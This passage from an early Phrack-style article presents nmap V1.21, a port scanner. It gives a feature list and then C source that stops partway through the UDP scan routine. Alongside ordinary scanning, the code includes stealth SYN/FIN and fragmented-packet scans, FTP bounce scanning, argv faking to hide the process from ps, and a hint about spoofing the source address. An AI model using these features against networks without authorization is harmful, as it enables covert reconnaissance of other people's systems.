‑ retransmission: Some scanners just send out all the query packets, and collect the responses. But this can lead to false positives or negatives in the case where packets are dropped. This is especially important for "negative" style scans like UDP and FIN, where what you are looking for is a port that does NOT respond. In most cases, nmap implements a configurable number of retransmissions for ports that don't respond.

‑ parallel port scanning: Some scanners simply scan ports linearly, one at a time, until they do all 65535. This actually works for TCP on a very fast local network, but the speed of this is not at all acceptable on a wide area network like the Internet. nmap uses non‑blocking i/o and parallel scanning in all TCP and UDP modes. The number of scans in parallel is configurable with the ‑M (Max sockets) option. On a very fast network you will actually decrease performance if you do more than 18 or so. On slow networks, high values increase performance dramatically.

‑ Flexible port specification: I don't always want to just scan all 65535 ports. Also, the scanners which only allow you to scan ports 1 ‑ N sometimes fall short of my need. The ‑p option allows you to specify an arbitrary number of ports and ranges for scanning. For example, '‑p 21‑25,80,113, 60000‑' does what you would expect (a trailing hyphen means up to 65536, a leading hyphen means 1 through). You can also use the ‑F (fast) option, which scans all the ports registered in your /etc/services (a la strobe).

‑ Flexible target specification: I often want to scan more then one host, and I certainly don't want to list every single host on a large network to scan. Everything that isn't an option (or option argument) in nmap is treated as a target host. As mentioned before, you can optionally append /mask to a hostname or IP address in order to scan all hosts with the same initial <mask> bits of the 32 bit IP address.

‑ detection of down hosts: Some scanners allow you to scan large networks, but they waste a huge amount of time scanning 65535 ports of a dead host! By default, nmap pings each host to make sure it is up before wasting time on it. It is also capable of bailing on hosts that seem down based on strange port scanning errors. It is also meant to be tolerant of people who accidentally scan network addresses, broadcast addresses, etc.

‑ detection of your IP address: For some reason, a lot of scanners ask you to type in your IP address as one of the parameters. Jeez, I don't want to have to 'ifconfig' and figure out my current address every time I scan. Of course, this is better then the scanners I've seen which require recompilation every time you change your address! nmap first tries to detect your address during the ping stage. It uses the address that the echo response is received on, as that is the interface it should almost always be routed through. If it can't do this (like if you don't have host pinging enabled), nmap tries to detect your primary interface and uses that address. You can also use ‑S to specify it directly, but you shouldn't have to (unless you want to make it look like someone ELSE is SYN or FIN scanning a host.

Some other, more minor options:

‑v (verbose): This is highly recommended for interactive use. Among other useful messages, you will see ports come up as they are found, rather than having to wait for the sorted summary list.

‑r (randomize): This will randomize the order in which the target host's ports are scanned.

‑q (quash argv): This changes argv[0] to FAKE_ARGV ("pine" by default). It also eliminates all other arguments, so you won't look too suspicious in 'w' or 'ps' listings.

‑h for an options summary.

Also look for http://www.dhp.com/~fyodor/nmap/, which is the web site I plan to

put future versions and more information on. In fact, you would be well advised to check there right now.

[ Greets ]

Of course this paper would not be complete without a shout out to all the people who made it possible.

* Congratulations to the people at Phrack for getting this thing going again! * Greets to the whole dc‑stuff crew.

* Greets to the STUPH, Turntec, L0pht, TACD, the Guild, cDc, and all the other groups who help keep the scene alive.

* Shout out to _eci for disclosing the coolest Windows bug in recent history. * Thanks to the Data Haven Project (dhp.com) admins for providing such great service for $10/month.

* And a special shout out goes to all my friends. You know who you are and some of you (wisely) stay out of the spotlight, so I'll keep you anonymous ... except of course for Ken and Jay, and Avenger, Grog, Cash Monies, Ethernet Kid, Zos, JuICe, Mother Prednisone, and Karen.

And finally, we get to ...

[ The code ]

This should compile fine on any Linux box with 'gcc ‑O6 ‑o nmap nmap.c ‑lm'. It is distrubuted under the terms of the GNU GENERAL PUBLIC LICENSE. If you have problems or comments, feel free to mail me (fyodor@dhp.com).

<++> nmap/Makefile

# A trivial makefile for Network Mapper

nmap: nmap.c nmap.h

gcc ‑Wall ‑O6 ‑o nmap nmap.c ‑lm

<‑‑>

<++> nmap/nmap.h

#ifndef NMAP_H

#define NMAP_H

/************************INCLUDES**********************************/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/types.h>

#include <rpc/types.h>

#include <sys/socket.h>

#include <sys/socket.h>

#include <sys/stat.h>

#include <netinet/in.h>

#include <unistd.h>

#include <netdb.h>

#include <time.h>

#include <fcntl.h>

#include <signal.h>

#include <signal.h>

#include <linux/ip.h> /*<netinet/ip.h>*/

#include <linux/icmp.h> /*<netinet/ip_icmp.h>*/

#include <arpa/inet.h>

#include <math.h>

#include <time.h>

#include <sys/time.h>

#include <asm/byteorder.h>

#include <netinet/ip_tcp.h>

/************************DEFINES************************************/

/* #define to zero if you don't want toignore hosts of the form

xxx.xxx.xxx.{0,255} (usually network and broadcast addresses) */

#define IGNORE_ZERO_AND_255_HOSTS 1

#define DEBUGGING 0

/* Default number of ports in paralell. Doesn't always involve actual

sockets. Can also adjust with the ‑M command line option. */

#define MAX_SOCKETS 36

/* If reads of a UDP port keep returning EAGAIN (errno 13), do we want to

count the port as valid? */

#define RISKY_UDP_SCAN 0

/* This ideally should be a port that isn't in use for any protocol on our machine or on the target */

#define MAGIC_PORT 49724

/* How many udp sends without a ICMP port unreachable error does it take before we consider the port open? */

#define UDP_MAX_PORT_RETRIES 4

/*How many seconds before we give up on a host being alive? */

#define PING_TIMEOUT 2

#define FAKE_ARGV "pine" /* What ps and w should show if you use ‑q */

/* How do we want to log into ftp sites for */

#define FTPUSER "anonymous"

#define FTPPASS "‑wwwuser@"

#define FTP_RETRIES 2 /* How many times should we relogin if we lose control

connection? */

#define UC(b) (((int)b)&0xff)

#define MORE_FRAGMENTS 8192 /*NOT a user serviceable parameter*/

#define fatal(x) { fprintf(stderr, "%s\n", x); exit(‑1); }

#define error(x) fprintf(stderr, "%s\n", x);

/***********************STRUCTURES**********************************/

typedef struct port {

unsigned short portno;

unsigned char proto;

char *owner;

struct port *next;

} port;

struct ftpinfo {

char user[64];

char pass[256]; /* methinks you're paranoid if you need this much space */

char server_name[MAXHOSTNAMELEN + 1];

struct in_addr server;

unsigned short port;

int sd; /* socket descriptor */

};

typedef port *portlist;

/***********************PROTOTYPES**********************************/

/* print usage information */

void printusage(char *name);

/* our scanning functions */

portlist tcp_scan(struct in_addr target, unsigned short *portarray, portlist *ports);

portlist syn_scan(struct in_addr target, unsigned short *portarray, struct in_addr *source, int fragment, portlist *ports); portlist fin_scan(struct in_addr target, unsigned short *portarray, struct in_addr *source, int fragment, portlist *ports); portlist udp_scan(struct in_addr target, unsigned short *portarray, portlist *ports);

portlist lamer_udp_scan(struct in_addr target, unsigned short *portarray, portlist *ports);

portlist bounce_scan(struct in_addr target, unsigned short *portarray, struct ftpinfo *ftp, portlist *ports);

/* Scan helper functions */

unsigned long calculate_sleep(struct in_addr target);

int check_ident_port(struct in_addr target);

int getidentinfoz(struct in_addr target, int localport, int remoteport, char *owner);

int parse_bounce(struct ftpinfo *ftp, char *url);

int ftp_anon_connect(struct ftpinfo *ftp);

/* port manipulators */

unsigned short *getpts(char *expr); /* someone stole the name getports()! */

unsigned short *getfastports(int tcpscan, int udpscan);

int addport(portlist *ports, unsigned short portno, unsigned short protocol, char *owner);

int deleteport(portlist *ports, unsigned short portno, unsigned short protocol); void printandfreeports(portlist ports);

int shortfry(unsigned short *ports);

/* socket manipulation functions */

void init_socket(int sd);

int unblock_socket(int sd);

int block_socket(int sd);

int recvtime(int sd, char *buf, int len, int seconds);

/* RAW packet building/dissasembling stuff */

int send_tcp_raw( int sd, struct in_addr *source,

struct in_addr *victim, unsigned short sport,

unsigned short dport, unsigned long seq,

unsigned long ack, unsigned char flags,

unsigned short window, char *data,

unsigned short datalen);

int isup(struct in_addr target);

unsigned short in_cksum(unsigned short *ptr,int nbytes);

int send_small_fragz(int sd, struct in_addr *source, struct in_addr *victim, int sport, int dport, int flags);

int readtcppacket(char *packet, int readdata);

int listen_icmp(int icmpsock, unsigned short outports[], unsigned short numtries[], int *num_out,

struct in_addr target, portlist *ports);

/* general helper functions */

void hdump(unsigned char *packet, int len);

void *safe_malloc(int size);

#endif /* NMAP_H */

<‑‑>

<++> nmap/nmap.c

#include "nmap.h"

/* global options */

short debugging = DEBUGGING;

short verbose = 0;

int number_of_ports = 0; /* How many ports do we scan per machine? */

int max_parallel_sockets = MAX_SOCKETS;

extern char *optarg;

extern int optind;

short isr00t = 0;

short identscan = 0;

char current_name[MAXHOSTNAMELEN + 1];

unsigned long global_delay = 0;

unsigned long global_rtt = 0;

struct in_addr ouraddr = { 0 };

int main(int argc, char *argv[]) {

int i, j, arg, argvlen;

short fastscan=0, tcpscan=0, udpscan=0, synscan=0, randomize=0; short fragscan = 0, finscan = 0, quashargv = 0, pingscan = 0, lamerscan = 0; short bouncescan = 0;

short *ports = NULL, mask;

struct ftpinfo ftp = { FTPUSER, FTPPASS, "", { 0 }, 21, 0}; portlist openports = NULL;

struct hostent *target = 0;

unsigned long int lastip, currentip, longtmp;

char *target_net, *p;

struct in_addr current_in, *source=NULL;

int hostup = 0;

char *fakeargv[argc + 1];

/* argv faking silliness */

for(i=0; i < argc; i++) {

fakeargv[i] = safe_malloc(strlen(argv[i]) + 1); strncpy(fakeargv[i], argv[i], strlen(argv[i]) + 1);

}

fakeargv[argc] = NULL;

if (argc < 2 ) printusage(argv[0]);

/* OK, lets parse these args! */

while((arg = getopt(argc,fakeargv,"b:dFfhilM:Pp:qrS:stUuw:v")) != EOF) { switch(arg) {

case 'b':

bouncescan++;

if (parse_bounce(&ftp, optarg) < 0 ) {

fprintf(stderr, "Your argument to ‑b is fucked up. Use the normal url style: user:pass@server:port or just use server and use default anon login\n Use ‑h for help\n"); }

break;

case 'd': debugging++; break;

case 'F': fastscan++; break;

case 'f': fragscan++; break;

case 'h':

case '?': printusage(argv[0]);

case 'i': identscan++; break;

case 'l': lamerscan++; udpscan++; break;

case 'M': max_parallel_sockets = atoi(optarg); break;

case 'P': pingscan++; break;

case 'p':

if (ports)

fatal("Only 1 ‑p option allowed, seperate multiple ranges with commas."); ports = getpts(optarg); break;

case 'r': randomize++; break;

case 's': synscan++; break;

case 'S':

if (source)

fatal("You can only use the source option once!\n"); source = safe_malloc(sizeof(struct in_addr));

if (!inet_aton(optarg, source))

fatal("You must give the source address in dotted deciman, currently.\n"); break;

case 't': tcpscan++; break;

case 'U': finscan++; break;

case 'u': udpscan++; break;

case 'q': quashargv++; break;

case 'w': global_delay = atoi(optarg); break;

case 'v': verbose++;

}

}

/* Take care of user wierdness */

isr00t = !(geteuid()|geteuid());

if (tcpscan && synscan)

fatal("The ‑t and ‑s options can't be used together.\

If you are trying to do TCP SYN scanning, just use ‑s.\

For normal connect() style scanning, use ‑t");

if ((synscan || finscan || fragscan || pingscan) && !isr00t) fatal("Options specified require r00t privileges. You don't have them!"); if (!tcpscan && !udpscan && !synscan && !finscan && !bouncescan && !pingscan) { tcpscan++;

if (verbose) error("No scantype specified, assuming vanilla tcp connect()\ scan. Use ‑P if you really don't want to portscan.");

if (fastscan && ports)

fatal("You can use ‑F (fastscan) OR ‑p for explicit port specification.\ Not both!\n");

}

/* If he wants to bounce of an ftp site, that site better damn well be reachable! */

if (bouncescan) {

if (!inet_aton(ftp.server_name, &ftp.server)) {

if ((target = gethostbyname(ftp.server_name)))

memcpy(&ftp.server, target‑>h_addr_list[0], 4);

else {

fprintf(stderr, "Failed to resolve ftp bounce proxy hostname/IP: %s\n", ftp.server_name);

exit(1);

}

} else if (verbose)

printf("Resolved ftp bounce attack proxy to %s (%s).\n", target‑>h_name, inet_ntoa(ftp.server));

}

printf("\nStarting nmap V 1.21 by Fyodor (fyodor@dhp.com, www.dhp.com/~fyodor/nmap/\n"); if (!verbose)

error("Hint: The ‑v option notifies you of open ports as they are found.\n"); if (fastscan)

ports = getfastports(synscan|tcpscan|fragscan|finscan|bouncescan, udpscan|lamerscan);

if (!ports) ports = getpts("1‑1024");

/* more fakeargv junk, BTW malloc'ing extra space in argv[0] doesn't work */

if (quashargv) {

argvlen = strlen(argv[0]);

if (argvlen < strlen(FAKE_ARGV))

fatal("If you want me to fake your argv, you need to call the program with a longer name. Try the full pathname, or rename it fyodorssuperdedouperportscanner"); strncpy(argv[0], FAKE_ARGV, strlen(FAKE_ARGV));

for(i = strlen(FAKE_ARGV); i < argvlen; i++) argv[0][i] = '\0'; for(i=1; i < argc; i++) {

argvlen = strlen(argv[i]);

for(j=0; j <= argvlen; j++)

argv[i][j] = '\0';

}

}

srand(time(NULL));

while(optind < argc) {

/* Time to parse the allowed mask */

target = NULL;

target_net = strtok(strdup(fakeargv[optind]), "/");

mask = (p = strtok(NULL,""))? atoi(p) : 32;

if (debugging)

printf("Target network is %s, scanmask is %d\n", target_net, mask);

if (!inet_aton(target_net, &current_in)) {

if ((target = gethostbyname(target_net)))

memcpy(&currentip, target‑>h_addr_list[0], 4);

else {

fprintf(stderr, "Failed to resolve given hostname/IP: %s\n", target_net); }

} else currentip = current_in.s_addr;

longtmp = ntohl(currentip);

currentip = longtmp & (unsigned long) (0 ‑ pow(2,32 ‑ mask)); lastip = longtmp | (unsigned long) (pow(2,32 ‑ mask) ‑ 1); while (currentip <= lastip) {

openports = NULL;

longtmp = htonl(currentip);

target = gethostbyaddr((char *) &longtmp, 4, AF_INET); current_in.s_addr = longtmp;

if (target)

strncpy(current_name, target‑>h_name, MAXHOSTNAMELEN); else current_name[0] = '\0';

current_name[MAXHOSTNAMELEN + 1] = '\0';

if (randomize)

shortfry(ports);

#ifdef IGNORE_ZERO_AND_255_HOSTS

if (IGNORE_ZERO_AND_255_HOSTS

&& (!(currentip % 256) || currentip % 256 == 255))

{

printf("Skipping host %s because IGNORE_ZERO_AND_255_HOSTS is set in the source.\n", inet_ntoa(current_in)); hostup = 0;

}

else{

#endif

if (isr00t) {

if (!(hostup = isup(current_in))) {

if (!pingscan)

printf("Host %s (%s) appears to be down, skipping scan.\n", current_name, inet_ntoa(current_in));

else

printf("Host %s (%s) appears to be down\n", current_name, inet_ntoa(current_in));

} else if (debugging || pingscan)

printf("Host %s (%s) appears to be up ... good.\n", current_name, inet_ntoa(current_in));

}

else hostup = 1; /* We don't really check because the lamer isn't root.*/

}

/* Time for some actual scanning! */

if (hostup) {

if (tcpscan) tcp_scan(current_in, ports, &openports);

if (synscan) syn_scan(current_in, ports, source, fragscan, &openports);

if (finscan) fin_scan(current_in, ports, source, fragscan, &openports);

if (bouncescan) {

if (ftp.sd <= 0) ftp_anon_connect(&ftp);

if (ftp.sd > 0) bounce_scan(current_in, ports, &ftp, &openports); }

if (udpscan) {

if (!isr00t || lamerscan)

lamer_udp_scan(current_in, ports, &openports);

else udp_scan(current_in, ports, &openports);

}

if (!openports && !pingscan)

printf("No ports open for host %s (%s)\n", current_name, inet_ntoa(current_in));

if (openports) {

printf("Open ports on %s (%s):\n", current_name, inet_ntoa(current_in));

printandfreeports(openports);

}

}

currentip++;

}

optind++;

}

return 0;

}

__inline__ int unblock_socket(int sd) {

int options;

/*Unblock our socket to prevent recvfrom from blocking forever

on certain target ports. */

options = O_NONBLOCK | fcntl(sd, F_GETFL);

fcntl(sd, F_SETFL, options);

return 1;

}

__inline__ int block_socket(int sd) {

int options;

options = (~O_NONBLOCK) & fcntl(sd, F_GETFL);

fcntl(sd, F_SETFL, options);

return 1;

}

/* Currently only sets SO_LINGER, I haven't seen any evidence that this

helps. I'll do more testing before dumping it. */

__inline__ void init_socket(int sd) {

struct linger l;

l.l_onoff = 1;

l.l_linger = 0;

if (setsockopt(sd, SOL_SOCKET, SO_LINGER, &l, sizeof(struct linger))) {

fprintf(stderr, "Problem setting socket SO_LINGER, errno: %d\n", errno); perror("setsockopt");

}

}

/* Convert a string like "‑100,200‑1024,3000‑4000,60000‑" into an array

of port numbers*/

unsigned short *getpts(char *origexpr) {

int exlen = strlen(origexpr);

char *p,*q;

unsigned short *tmp, *ports;

int i=0, j=0,start,end;

char *expr = strdup(origexpr);

ports = safe_malloc(65536 * sizeof(short));

i++;

i‑‑;

for(;j < exlen; j++)

if (expr[j] != ' ') expr[i++] = expr[j];

expr[i] = '\0';

exlen = i + 1;

i=0;

while((p = strchr(expr,','))) {

*p = '\0';

if (*expr == '‑') {start = 1; end = atoi(expr+ 1);}

else {

start = end = atoi(expr);

if ((q = strchr(expr,'‑')) && *(q+1) ) end = atoi(q + 1); else if (q && !*(q+1)) end = 65535;

}

if (debugging)

printf("The first port is %d, and the last one is %d\n", start, end); if (start < 1 || start > end) fatal("Your port specifications are illegal!"); for(j=start; j <= end; j++)

ports[i++] = j;

expr = p + 1;

}

if (*expr == '‑') {

start = 1;

end = atoi(expr+ 1);

}

else {

start = end = atoi(expr);

if ((q = strchr(expr,'‑')) && *(q+1) ) end = atoi(q+1);

else if (q && !*(q+1)) end = 65535;

}

if (debugging)

printf("The first port is %d, and the last one is %d\n", start, end); if (start < 1 || start > end) fatal("Your port specifications are illegal!"); for(j=start; j <= end; j++)

ports[i++] = j;

number_of_ports = i;

ports[i++] = 0;

tmp = realloc(ports, i * sizeof(short));

free(expr);

return tmp;

}

unsigned short *getfastports(int tcpscan, int udpscan) {

int portindex = 0, res, lastport = 0;

unsigned int portno = 0;

unsigned short *ports;

char proto[10];

char line[81];

FILE *fp;

ports = safe_malloc(65535 * sizeof(unsigned short));

proto[0] = '\0';

if (!(fp = fopen("/etc/services", "r"))) {

printf("We can't open /etc/services for reading! Fix your system or don't use ‑f\n"); perror("fopen");

exit(1);

}

while(fgets(line, 80, fp)) {

res = sscanf(line, "%*s %u/%s", &portno, proto);

if (res == 2 && portno != 0 && portno != lastport) { lastport = portno;

if (tcpscan && proto[0] == 't')

ports[portindex++] = portno;

else if (udpscan && proto[0] == 'u')

ports[portindex++] = portno;

}

}

number_of_ports = portindex;

ports[portindex++] = 0;

return realloc(ports, portindex * sizeof(unsigned short));

}

void printusage(char *name) {

printf("%s [options] [hostname[/mask] . . .]

options (none are required, most can be combined):

‑t tcp connect() port scan

‑s tcp SYN stealth port scan (must be root)

‑u UDP port scan, will use MUCH better version if you are root ‑U Uriel Maimon (P49‑15) style FIN stealth scan.

‑l Do the lamer UDP scan even if root. Less accurate.

‑P ping \"scan\". Find which hosts on specified network(s) are up. ‑b <ftp_relay_host> ftp \"bounce attack\" port scan

‑f use tiny fragmented packets for SYN or FIN scan.

‑i Get identd (rfc 1413) info on listening TCP processes.

‑p <range> ports: ex: \'‑p 23\' will only try port 23 of the host(s) \'‑p 20‑30,63000‑\' scans 20‑30 and 63000‑65535 default: 1‑1024 ‑F fast scan. Only scans ports in /etc/services, a la strobe(1). ‑r randomize target port scanning order.

‑h help, print this junk. Also see http://www.dhp.com/~fyodor/nmap/

‑S If you want to specify the source address of SYN or FYN scan. ‑v Verbose. Its use is recommended. Use twice for greater effect. ‑w <n> delay. n microsecond delay. Not recommended unless needed. ‑M <n> maximum number of parallel sockets. Larger isn't always better. ‑q quash argv to something benign, currently set to \"%s\". Hostnames specified as internet hostname or IP address. Optional '/mask' specifies subnet. cert.org/24 or 192.88.209.5/24 scan CERT's Class C.\n", name, FAKE_ARGV);

exit(1);

}

portlist tcp_scan(struct in_addr target, unsigned short *portarray, portlist *ports) {

int starttime, current_out = 0, res , deadindex = 0, i=0, j=0, k=0, max=0; struct sockaddr_in sock, stranger, mysock;

int sockaddr_in_len = sizeof(struct sockaddr_in);

int sockets[max_parallel_sockets], deadstack[max_parallel_sockets]; unsigned short portno[max_parallel_sockets];

char owner[513], buf[65536];

int tryident = identscan, current_socket /*actually it is a socket INDEX*/;

fd_set fds_read, fds_write;

struct timeval nowait = {0,0}, longwait = {7,0};

signal(SIGPIPE, SIG_IGN); /* ignore SIGPIPE so our 'write 0 bytes' test

doesn't crash our program!*/

owner[0] = '\0';

starttime = time(NULL);

bzero((char *)&sock,sizeof(struct sockaddr_in)); sock.sin_addr.s_addr = target.s_addr;

if (verbose || debugging)

printf("Initiating TCP connect() scan against %s (%s)\n", current_name, inet_ntoa(sock.sin_addr)); sock.sin_family=AF_INET;

FD_ZERO(&fds_read);

FD_ZERO(&fds_write);

if (tryident)

tryident = check_ident_port(target);

/* Initially, all of our sockets are "dead" */

for(i = 0 ; i < max_parallel_sockets; i++) { deadstack[deadindex++] = i;

portno[i] = 0;

}

deadindex‑‑;

/* deadindex always points to the most recently added dead socket index */

while(portarray[j]) {

longwait.tv_sec = 7;

longwait.tv_usec = nowait.tv_sec = nowait.tv_usec = 0;

for(i=current_out; i < max_parallel_sockets && portarray[j]; i++, j++) { current_socket = deadstack[deadindex‑‑];

if ((sockets[current_socket] = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == ‑1) {perror("Socket troubles"); exit(1);}

if (sockets[current_socket] > max) max = sockets[current_socket]; current_out++;

unblock_socket(sockets[current_socket]); init_socket(sockets[current_socket]); portno[current_socket] = portarray[j];

sock.sin_port = htons(portarray[j]);

if ((res = connect(sockets[current_socket],(struct sockaddr *)&sock,sizeof(struct sockaddr)))!=‑1) printf("WTF???? I think we got a successful connection in non‑blocking!!@#$\n"); else {

switch(errno) {

case EINPROGRESS: /* The one I always see */

case EAGAIN:

block_socket(sockets[current_socket]); FD_SET(sockets[current_socket], &fds_write); FD_SET(sockets[current_socket], &fds_read);

break;

default:

printf("Strange error from connect: (%d)", errno);

perror(""); /*falling through intentionally*/

case ECONNREFUSED:

if (max == sockets[current_socket]) max‑‑; deadstack[++deadindex] = current_socket;

current_out‑‑;

portno[current_socket] = 0;

close(sockets[current_socket]);

break;

}

}

}

if (!portarray[j]) sleep(1); /*wait a second for any last packets*/

while((res = select(max + 1, &fds_read, &fds_write, NULL, (current_out < max_parallel_sockets)?

&nowait : &longwait)) > 0) {

for(k=0; k < max_parallel_sockets; k++)

if (portno[k]) {

if (FD_ISSET(sockets[k], &fds_write)

&& FD_ISSET(sockets[k], &fds_read)) {

/*printf("Socket at port %hi is selectable for r & w.", portno[k]);*/

res = recvfrom(sockets[k], buf, 65536, 0, (struct sockaddr *) & stranger, &sockaddr_in_len);

if (res >= 0) {

if (debugging || verbose)

printf("Adding TCP port %hi due to successful read.\n", portno[k]);

if (tryident) {

if ( getsockname(sockets[k], (struct sockaddr *) &mysock, &sockaddr_in_len ) ) {

perror("getsockname");

exit(1);

}

tryident = getidentinfoz(target, ntohs(mysock.sin_port), portno[k], owner);

}

addport(ports, portno[k], IPPROTO_TCP, owner);

}

if (max == sockets[k])

max‑‑;

FD_CLR(sockets[k], &fds_read);

FD_CLR(sockets[k], &fds_write);

deadstack[++deadindex] = k;

current_out‑‑;

portno[k] = 0;

close(sockets[k]);

}

else if(FD_ISSET(sockets[k], &fds_write)) {

/*printf("Socket at port %hi is selectable for w only.VERIFYING\n",

portno[k]);*/

res = send(sockets[k], buf, 0, 0);

if (res < 0 ) {

signal(SIGPIPE, SIG_IGN);

if (debugging > 1)

printf("Bad port %hi caught by 0‑byte write!\n", portno[k]); }

else {

if (debugging || verbose)

printf("Adding TCP port %hi due to successful 0‑byte write!\n", portno[k]);

if (tryident) {

if ( getsockname(sockets[k], (struct sockaddr *) &mysock , &sockaddr_in_len ) ) {

perror("getsockname");

exit(1);

}

tryident = getidentinfoz(target, ntohs(mysock.sin_port), portno[k], owner);

}

addport(ports, portno[k], IPPROTO_TCP, owner);

}

if (max == sockets[k]) max‑‑;

FD_CLR(sockets[k], &fds_write);

deadstack[++deadindex] = k;

current_out‑‑;

portno[k] = 0;

close(sockets[k]);

}

else if ( FD_ISSET(sockets[k], &fds_read) ) {

printf("Socket at port %hi is selectable for r only. This is very wierd.\n", portno[k]); if (max == sockets[k]) max‑‑;

FD_CLR(sockets[k], &fds_read);

deadstack[++deadindex] = k;

current_out‑‑;

portno[k] = 0;

close(sockets[k]);

}

else {

/*printf("Socket at port %hi not selecting, readding.\n",portno[k]);*/

FD_SET(sockets[k], &fds_write);

FD_SET(sockets[k], &fds_read);

}

}

}

}

if (debugging || verbose)

printf("Scanned %d ports in %ld seconds with %d parallel sockets.\n", number_of_ports, time(NULL) ‑ starttime, max_parallel_sockets); return *ports;

}

/* gawd, my next project will be in c++ so I don't have to deal with

this crap ... simple linked list implementation */

int addport(portlist *ports, unsigned short portno, unsigned short protocol, char *owner) {

struct port *current, *tmp;

int len;

if (*ports) {

current = *ports;

/* case 1: we add to the front of the list */

if (portno <= current‑>portno) {

if (current‑>portno == portno && current‑>proto == protocol) { if (debugging || verbose)

printf("Duplicate port (%hi/%s)\n", portno ,

(protocol == IPPROTO_TCP)? "tcp": "udp");

return ‑1;

}

tmp = current;

*ports = safe_malloc(sizeof(struct port));

(*ports)‑>next = tmp;

current = *ports;

current‑>portno = portno;

current‑>proto = protocol;

if (owner && *owner) {

len = strlen(owner);

current‑>owner = malloc(sizeof(char) * (len + 1)); strncpy(current‑>owner, owner, len + 1);

}

else current‑>owner = NULL;

}

else { /* case 2: we add somewhere in the middle or end of the list */

while( current‑>next && current‑>next‑>portno < portno) current = current‑>next;

if (current‑>next && current‑>next‑>portno == portno

&& current‑>next‑>proto == protocol) {

if (debugging || verbose)

printf("Duplicate port (%hi/%s)\n", portno ,

(protocol == IPPROTO_TCP)? "tcp": "udp");

return ‑1;

}

tmp = current‑>next;

current‑>next = safe_malloc(sizeof(struct port)); current‑>next‑>next = tmp;

tmp = current‑>next;

tmp‑>portno = portno;

tmp‑>proto = protocol;

if (owner && *owner) {

len = strlen(owner);

tmp‑>owner = malloc(sizeof(char) * (len + 1)); strncpy(tmp‑>owner, owner, len + 1);

}

else tmp‑>owner = NULL;

}

}

else { /* Case 3, list is null */

*ports = safe_malloc(sizeof(struct port));

tmp = *ports;

tmp‑>portno = portno;

tmp‑>proto = protocol;

if (owner && *owner) {

len = strlen(owner);

tmp‑>owner = safe_malloc(sizeof(char) * (len + 1)); strncpy(tmp‑>owner, owner, len + 1);

}

else tmp‑>owner = NULL;

tmp‑>next = NULL;

}

return 0; /*success */

}

int deleteport(portlist *ports, unsigned short portno, unsigned short protocol) {

portlist current, tmp;

if (!*ports) {

if (debugging > 1) error("Tried to delete from empty port list!"); return ‑1;

}

/* Case 1, deletion from front of list*/

if ((*ports)‑>portno == portno && (*ports)‑>proto == protocol) { tmp = (*ports)‑>next;

if ((*ports)‑>owner) free((*ports)‑>owner);

free(*ports);

*ports = tmp;

}

else {

current = *ports;

for(;current‑>next && (current‑>next‑>portno != portno || current‑>next‑>proto != protocol); current = current‑>next); if (!current‑>next)

return ‑1;

tmp = current‑>next;

current‑>next = tmp‑>next;

if (tmp‑>owner) free(tmp‑>owner);

free(tmp);

}

return 0; /* success */

}

void *safe_malloc(int size)

{

void *mymem;

if (size < 0)

fatal("Tried to malloc negative amount of memmory!!!");

if ((mymem = malloc(size)) == NULL)

fatal("Malloc Failed! Probably out of space.");

return mymem;

}

void printandfreeports(portlist ports) {

char protocol[4];

struct servent *service;

port *current = ports, *tmp;

printf("Port Number Protocol Service");

printf("%s", (identscan)?" Owner\n":"\n"); while(current != NULL) {

strcpy(protocol,(current‑>proto == IPPROTO_TCP)? "tcp": "udp"); service = getservbyport(htons(current‑>portno), protocol); printf("%‑13d%‑11s%‑16s%s\n", current‑>portno, protocol, (service)? service‑>s_name: "unknown",

(current‑>owner)? current‑>owner : "");

tmp = current;

current = current‑>next;

if (tmp‑>owner) free(tmp‑>owner);

free(tmp);

}

printf("\n");

}

/* This is the version of udp_scan that uses raw ICMP sockets and requires

root priviliges.*/

portlist udp_scan(struct in_addr target, unsigned short *portarray, portlist *ports) {

int icmpsock, udpsock, tmp, done=0, retries, bytes = 0, res, num_out = 0; int i=0,j=0, k=0, icmperrlimittime, max_tries = UDP_MAX_PORT_RETRIES; unsigned short outports[max_parallel_sockets], numtries[max_parallel_sockets]; struct sockaddr_in her;

char senddata[] = "blah\n";

unsigned long starttime, sleeptime;

struct timeval shortwait = {1, 0 };

fd_set fds_read, fds_write;

bzero(outports, max_parallel_sockets * sizeof(unsigned short)); bzero(numtries, max_parallel_sockets * sizeof(unsigned short));

/* Some systems (like linux) follow the advice of rfc1812 and limit

* the rate at which they will respons with icmp error messages * (like port unreachable). icmperrlimittime is to compensate for that. */

icmperrlimittime = 60000;

sleeptime = (global_delay)? global_delay : (global_rtt)? (1.2 * global_rtt) + 30000 : 1e5; if (global_delay) icmperrlimittime = global_delay;

starttime = time(NULL);

FD_ZERO(&fds_read);

FD_ZERO(&fds_write);

if (verbose || debugging)

printf("Initiating UDP (raw ICMP version) scan against %s (%s) using wait delay of %li usecs.\n", current_name, inet_ntoa(target), sleeptime);

if ((icmpsock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) perror("Opening ICMP RAW socket");

if ((udpsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) perror("Opening datagram socket");

unblock_socket(icmpsock);

her.sin_addr = target;

her.sin_family = AF_INET;

while(!done) {

tmp = num_out;

for(i=0; (i < max_parallel_sockets && portarray[j]) || i < tmp; i++) { close(udpsock);

if ((udpsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) perror("Opening datagram socket");

if ((i > tmp && portarray[j]) || numtries[i] > 1) {

if (i > tmp) her.sin_port = htons(portarray[j++]); else her.sin_port = htons(outports[i]); FD_SET(udpsock, &fds_write);

FD_SET(icmpsock, &fds_read);

shortwait.tv_sec = 1; shortwait.tv_usec = 0; usleep(icmperrlimittime);

res = select(udpsock + 1, NULL, &fds_write, NULL, &shortwait); if (FD_ISSET(udpsock, &fds_write))

bytes = sendto(udpsock, senddata, sizeof(senddata), 0, (struct sockaddr *) &her, sizeof(struct sockaddr_in)); else {

printf("udpsock not set for writing port %d!", ntohs(her.sin_port)); return *ports;

}

if (bytes <= 0) {

if (errno == ECONNREFUSED) {

retries = 10;

do {

/* This is from when I was using the same socket and would

* (rather often) get strange connection refused errors, it * shouldn't happen now that I create a new udp socket for each * port. At some point I will probably go back to 1 socket again. */

printf("sendto said connection refused on port %d but trying again anyway.\n", ntohs(her.sin_port)); usleep(icmperrlimittime);

bytes = sendto(udpsock, senddata, sizeof(senddata), 0, (struct sockaddr *) &her, sizeof(struct sockaddr_in)); printf("This time it returned %d\n", bytes);

} while(bytes <= 0 && retries‑‑ > 0);

}

